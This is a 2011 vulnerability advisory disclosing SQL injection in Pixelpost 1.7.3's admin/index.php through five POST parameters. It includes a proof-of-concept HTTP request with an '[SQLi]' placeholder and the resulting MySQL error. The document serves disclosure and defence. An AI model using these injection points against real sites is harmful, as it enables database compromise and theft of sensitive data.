Pixelpost 1.7.3 SQL Injection

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Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability  
  
Vendor: Pixelpost.org  
Product web page: http://www.pixelpost.org  
Affected version: 1.7.3  
  
Summary: Pixelpost is an open-source, standards-compliant, multi-lingual,  
fully extensible photoblog application for the web. Anyone who has web-space  
that meets the requirements can download and use Pixelpost for free!  
  
Desc: Pixelpost is vulnerable to an SQL Injection attack when input is passed  
to several POST parameters (findfid, id, selectfcat, selectfmon, selectftag).  
The script (admin/index.php) fails to properly sanitize the input before being  
returned to the user allowing the attacker to compromise the entire DB system  
and view sensitive information.  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
Advisory ID: ZSL-2011-4992  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4992.php  
  
  
03.02.2011  
  
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Vulnerable variables:   
  
- findfid  
- id  
- selectfcat  
- selectfmon  
- selectftag  
  
Example:  
  
POST /pixelpost_v1.7.3/admin/index.php?view=images HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: localhost  
Content-Length: 62  
Cookie: PHPSESSID=9nqb5cbq1v4si85tidd4gas166;passwordbla=  
Connection: Close  
Pragma: no-cache  
  
selectfcat=3&selectftag=1&selectfmon=1&findfid=1[SQLi]&findid=Go%21  
  
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HTTP/1.1 200 OK  
  
You have an error in your SQL syntax; check the manual that corresponds to your  
MySQL server version for the right syntax to use near '' limit 0,1' at line 1.  
  
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